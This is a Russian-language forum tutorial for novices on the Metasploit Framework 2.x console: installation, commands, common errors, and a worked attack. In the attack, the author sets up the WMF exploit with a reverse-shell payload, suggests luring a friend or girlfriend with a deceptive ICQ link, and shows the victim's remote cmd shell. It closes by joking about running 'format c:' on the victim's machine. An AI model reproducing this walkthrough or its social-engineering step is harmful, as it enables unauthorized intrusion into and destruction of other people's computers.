Metasploit Framework
(Или как юзать пакет Metasploit Framework для новичков)
Предисловие.

Многие слышали наверно слова Метасплоит, метафайлы, эксплоит, шелл, уязвимость. Очень много вопросов возникает у пользователей (начинающих скрипткидисов, а так же тестеров сплоитов и уязвимостей) которые с этим так или иначе сталкиваются, вот как раз для них эта статья. Тут я расскажу Вам что такое проект Metasploit Framework и как им пользоваться. Сразу скажу что статья расчитана для тех кто задаёт вопросы типа этих:
1.
cd \
cd %SystemRoot%\system32
msfconsole: chdir: failed to change directory No such file or directory
Это как понимать???

2. или типа этого:
+ — —=[ msfconsole v2.6 [145 exploits — 75 payloads]

msf > ls exploits
ls: exploits: No such file or directory
msf >
А как понимать это???

1.Основные понятия и термины используемые в статье. (знающие могут пропустить):

Эксплоит: (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.*

Шелл-код: Код оболочки, шелл-код (англ. shellcode) — это двоичный исполняемый код, который обычно передаёт управление консоли, например ‘/bin/sh’ Unix shell, command.com в MS-DOS и cmd.exe в операционных системах Microsoft Windows. Код оболочки может быть использован как полезная нагрузка эксплойта, обеспечивая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.*

Реверс-шелл: При эксплуатации удаленной уязвимости шелл-код может открывать заранее заданый порт TCP уязвимого компьютера, через который будет осуществляться дальнейший доступ к командной оболочке, такой код называется привязывающим к порту (англ. port binding shellcode). Если шелл-код осуществляет подключение к порту компьютера атакующего, что производится с целью обхода брандмауэра или NAT, то такой код называется обратной оболочкой (англ. reverse shell shellcode).

Уязвимость: В компьютерной безопасности, термин уязвимость (англ.vulnerability) используется для обозначения слабозащищённого или открытого места в системе. Уязвимость может быть результатом ошибок программирования или недостатков в дизайне системы. Уязвимость может существовать либо только теоретически, либо иметь известный эксплойт. Уязвимости часто являются результатом беззаботности программиста, но, также, могут иметь и другие причины. Уязвимость обычно позволяет атакующему обмануть приложение, например,с помощью внедрения данных каким-нибудь незапланированным способом, выполнения команды на системе, на которой выполняется приложение, или путем использования упущения, которое позволяет получить непредусмотренный доступ к памяти для выполнения кода на уровне привилегий программы. Некоторые уязвимости появляются из-за недостаточной проверки данных, вводимых пользователем; часто это позволяет напрямую выполнить команды SQL (SQL-инъекция). Другие уязвимости появляются из-за более сложных проблем, таких как запись данных в буфер, без проверки его границ, в результате буфер может быть переполнен, что может привести к исполнению произвольного кода.

Cygwi (Цигвин): набор свободных программных инструментов разработанных фирмой Cygnus Solutions, позволяющих превратить Microsoft Windows различных версий в некоторое подобие Unix-системы. Изначально Cygwin задумывался как среда для переноса программ из POSIX-совместимых операционных систем (таких как GNU/Linux, BSD и UNIX) в Windows. Программы, портированные с помощью Cygwin, работают лучше всего в Windows NT, Windows 2000, Windows XP и Windows Server 2003, но в некоторых случаях годятся Windows 95 и Windows 98. В настоящее время проект Cygwin разрабатывается сотрудниками Red Hat и другими программистами. Подобные функциональные возможности предлагает также и Microsoft в своём пакете Services for UNIX, включающем в себя подсистему Interix.*

Perl (Перл): Язык программирования. Создатель Ларри Уолл (Larry Wall). Само слово Perl — аббревиатура, которая расшифровывается как Practical Extraction and Report Language (практический язык извлечений и отчётов, отчего сначала язык назывался PEARL, но затем буква «A» «потерялась»). Существует также ряд других вариантов. Согласно самому красивому из них, название perl произошло от слова pearl (жемчужина). Талисманом языка Perl является верблюд — не слишком красивое, но очень выносливое животное, способное выполнять тяжелую работу. Основной особенностью языка считаются его богатые возможности для работы с текстом, реализованные при помощи регулярных выражений.*

(определения взяты из выкипедии)

2. Что такое Metasploit Framework?

Metasploit Framework (согласно описанию) это законченная среда для написания, тестирования и использования кода эксплойтов. Эта среда обеспечивает надежную платформу для испытаний на проникновение, разработки шелкодов и исследования уязвимостей». Написан на Perl (с некоторыми частями на ассемблере, Python и C) – отсюда нет привязки к какой либо платформе – будет работать в любой системе, где есть интерпретатор Perl`a (с оговоркой, см. дальше). На данный момент, пакет Metasploit Framework функционирует как на Linux так и на Windows, а так же на Мас. Скачать последнюю версию пакета для соответствующей ОС можно здесь: http://www.metasploit.com/
(Среда под Windows базируется на доработанном Cygwin, что удобно, т.к. это дает пользователю извесную консоль. Однако, были некоторые проблемы с поддержкой Active Perl, поэтому поддерживается только Cygwin Perl.

3. Установка (для win- пользователей)

Инсталлятор для windows содержит всё необходимое (Сygwin, Perl), т. е. пользователям windows дополнительное ПО скачивать не потребуется.
Качаем тут: (доступная версия 2.6 для windows на момент написания статьи).
Тут лежит версия 2.7 Щас она актуальней (больше сплоитов).

Запускаем инсталлятор: framework-2.6.exe

Получаем: в C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) — запуск cygwin
msfconsole.bat (86.0B) — запуск консоли MSF
msfupdate.bat (85.0B) — запуск обновления пакета
msfweb.bat (82.0B) — запуск WEB-интерфейса пакета
Metasploit Framework.url (51.0B) — линк на сайт разработчиков
uninst.exe (47.6KB) — деинсталяция пакета

а также папки bin, etc, home, lib, sbin, tmp, usr, var — хорошо известные поклонникам Unix-систем.

4. Использование.

Пакет Metasploit Framework имеет два варианта работы: msfconsole (консольный) и web- интерфейс msfweb. Мне удобней всегда работать в msfconsole. Это интерфейс командной строки (по типу cmd с минимальным набором команд), имеющий собственное программное окружение и систему команд. Чтоб посмотреть основные команды наберите в консоли help. Для тех у кого туго с английским привожу перевод help`a. Рассмотрим консольный вариант работы пакета.

msf > help

Metasploit Framework Main Console Help
======================================

? ———— Show the main console help (Показать главное окно помощи)
cd ———— Change working directory (Выбрать рабочую директорию)
exit ———- Exit the console (Выход из консоли)
help ——— Show the main console help (Показать главное окно помощи)
info ———- Display detailed exploit or payload information (Вывести на дисплей детальную инфу о эксплоите или начинке)
quit ———- Exit the console (Выход из консоли)
reload ——— Reload exploits and payloads (Перезагрузить эксплоит и начинки)
save ——— Save configuration to disk (Записать конфигурацию на диск)
setg ———- Set a global environment variable (Установить глобальную переменную окружения)
show ——— Show available exploits and payloads (Показать доступные эксплоиты и начинки)
unsetg ——- Remove a global environment variable (Удалить глобальную переменную окружения)
use ———— Select an exploit by name (Выбрать эксплоит по имени для использования)
version ——- Show console version (Показать версию консоли)
—-нет в help`е——
ls ————- List the current directory (Показать файлы в текущей директории)
exploit ——— Run exploit (Запуск эксплоита)
msf >

М…да, скажете вы help бедноват и команд мало. Ну ничего, сами догоним что к чему.
cd [имя_директории]- стандартная команда (как и в cmd, так и в древнем дос — делает то же самое и здесь, с ней всё ясно, для тех кто в танке наберите help cd в консоли cmd)
Конечно всем не терпится использовать команду use [имя эксплоита], а затем установить переменную PAYLOAD какой либо вкусной начинкой, но всё по порядку, начнём!

5. Распрастранённые ошибки 90% новичков.
(продвинутым в режиме командной строки пропустить обязательно! ;-)):

1 Ошибка.
Первая команда юзера после загрузки консоли ls exploits
В этом случае их постигает такой облом:

msf > ls exploits
ls: exploits: No such file or directory
msf >

И все разом говорят у меня нет эксплоитов!
А надо сделать всего лишь команду ls без параметров, чтоб посмотреть где мы находимся.

msf > ls
framework perl.exe.stackdump run_msfupdate userguide.pdf
framework.tar run_msfconsole run_msfweb
msf >

Вот теперь мы видим, что папки с эксплоитами тут нет, так как она, скорее всего, находится внутри папки framework.
В чём проблема, переходим в папку framework и посмотрим там:

msf > cd framework
msfconsole: chdir: changed to directory framework
msf >

Прекрасно! Теперь глянем что тут внутри скомандовав ls:

msf > ls
data exploits msfcli msfencode msfpescan nops src
docs extras msfconsole msflogdump msfupdate payloads tools
encoders lib msfelfscan msfpayload msfweb sdk
msf >

О! Сколько тут всего! И эксплоиты и начинки и доки. Вот теперь можно командовать ls exploits

msf > ls exploits
3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
Credits.pm ms05_039_pnp.pm
————-много других эксплоитов——————-
mercantec_softcart.pm wsftp_server_503_mkd.pm
mercur_imap_select_overflow.pm wzdftpd_site.pm
mercury_imap.pm ypops_smtp.pm
minishare_get_overflow.pm zenworks_desktop_agent.pm
msf >

Во! Сколько сплоитов! (А говорили нет эксплоитов. оказывается всё со сплоитами в порядке — они есть)

2 Ошибка

Команда use [имя_экплоита.pm]

msf > use ie_xp_pfv_metafile.pm
msfconsole: use: please specify a valid exploit name
msf >

Расширение эксплоита pm — указывать не надо, только имя сплоита!

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile >

3 Ошибка

После удачного выбора нужного сплоита сразу выбирают начинку (забывая про параметры)

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > exploit
Error: Missing required option: LHOST
msf ie_xp_pfv_metafile(win32_reverse) >

Облом! Это что ещё? Перевожу отсутствует (не задана) рекомендованная опция (параметр) LHOST
Вообщем перед тем как начинять сплоит, я советую задать (установить) все необходимые параметры с помощью команды set.
У каждого сплоита их может быть разное количество (зависит от конкретной уязвимости)
Ну и что делать, как узнать какие параметры у какого сплоита? Ответ уже был выше! в help`e! Коммандуем: info [имя_сплоита], например узнаем всё про wmf-сплоит (ie_xp_pfv_metafile)

msf > info ie_xp_pfv_metafile
Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
Class: remote
Version: $Revision: 1.18 $
Target OS: win32, winxp, win2003
Keywords: wmf
Privileged: No
Disclosure: Dec 27 2005

Provided By:
H D Moore <hdm [at] metasploit.com
san <san [at] xfocus.org>
O600KO78RUS[at]unknown.ru

Available Targets:
Automatic — Windows XP / Windows 2003 / Windows Vista

Available Options:

Exploit: Name Default Description
——— ——— ——- —————————————
optional REALHOST External address to use for redirects
T)
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port

……….пропущено………….
msf >

Вот вам вся и подробная инфа о сплоите, нас интересует optional
Для ленивых:
HTTPHOST (LHOST) — Локальный IP адрес сервера на котором повиснет сплоит (адрес твоего компа)
HTTPORT (LPORT) — его порт (8080 — по умолчанию)
REALHOST (RHOST) — внешний адрес для редиректа (WAN — адрес если твой комп находится за NAT)

4. Ошибка
Важно! Всегда и везде имена переменных окружения писать только ЗАГЛАВНЫМИ буквами!
5. Ошибка
>msf ie_xp_pfv_metafile(win32_reverse) > exploit
msf >Could not start listener: Operation not permitted
Что делать? — освободить порт (уже занят чем то, буквально — немогу запустить слущатель:операция не разрешена) или использовать другой, например set LPORT 8081

6 Ошибка
Client connected from ххх.ххх.ххх.ххх:1879…
Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/
ie_vml_rectfill.pm line 156.
Exiting Reverse Handler.
msf ie_vml_rectfill(win32_reverse) >
Это ещё что? Неопределённая подпрограмма и … ну вообщем скорее всего вы скачали свежий сплоит и засунули в старую версию пакета, вообщем работать не будет. Cплоиты которые вышли после пакета в большинстве своём будут работать только на свежей версии, на данный момент 2.7 (как раз касается свежего сплоита ie_vml_rectfill.pm. Так что или обновляйте пакет, либо качайте последний…

6. Пример
(практическое использование).

Эксплоит: ie_xp_pfv_metafile, начинка win32_reverse

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
LHOST -> 10.0.0.1

Вообщем разобрались задали всё необходимое для сплоита, теперь можно переходить к начинке:
командуем set PAYLOAD [имя_начинки],

msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit

[*] Starting Reverse Handler.

[*] Waiting for connections to http://10.0.0.1:8080/

Готово! Консоль говорит, что жду соединений к http://10.0.0.1:8080/
Впариваем ссылку другу (или подружке) например через асю..

Маша, смотри какой прикол: http://10.0.0.1:8080/ (прим. вообще-то тут должен быть внешний ip)

Юзвер заходи по ссылке (и если у него есть эта конкретная уязвимость в IE) в консоли мы должны увидеть вот что:

[*] HTTP Client connected from 10.0.0.2:1116, redirecting… — клиент соединился, его IP 10.0.0.2:1116, редирект

[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload… — отправлено 1604 байт начинки (реверс-шелл тут)

[*] Got connection from 10.0.0.1:4321 <-> 10.0.0.2:1118 — установлено соединение (пайп с cmd удалённого компа)
Microsoft Windows XP [‘?абЁп 5.1.2600]
(‘) ?RаЇRа жЁп ? cЄаRбRдв, 1985-2001.
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>

О блин!, Это ещё что, скажете Вы — это командная строка удалённого компа того юзверя!
А что за абракадабра? — Это не та кодовая страница выбрана (у него русская винда стоит!) Щас проверим! chcp

C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp
chcp
‘?Єгй п ЄR¤Rў п бва -Ёж : 866
C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>

Точно это 866, поставим 1251 (виндовую, а не дос)

C:\Documents and Settings\?¤¬Ё-Ёбва вRа\? ЎRзЁc бвR<>chcp 1251
chcp 1251
‘?Єгй п ЄR¤Rў п бва -Ёж : 1251
C:\Documents and Settings\Администратор\Рабочий стол>

О! Теперь всё по русски! Что делать в cmd чужого компа зависит от вашей фантазии, список команд смотрите в help по консольным командам windows. (format c: — жесть!)
Был разобран конкретный пример использования WMF-Эксплоита с начинкой реверс-шелла, ваши варианты могут быть другими.

Заключение.

Ссылки:
Инфа по старой версии пакета 2.0 (сентябрь 2004г)
http://www.securitylab.ru/analytics/216366.php — обзорная статья по Metasploit Framework
http://www.securitylab.ru/analytics/216369.php — использование пакета
http://www.securitylab.ru/analytics/216372.php — про ещё один интерфейс пакета
http://www.xakep.ru/magazine/xa/086/066/1.asp — статьи в журнале хакер про WMF-баг*
http://www.xakep.ru/magazine/xa/086/074/1.asp
http://forum.antichat.ru/thread20741.html — «WMF баг — windows эксплуатация» — моя статья, породившая кучу вопросов типа как юзать Metasploit.

 

-=lebed=-

https://forum.antichat.ru

От news

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *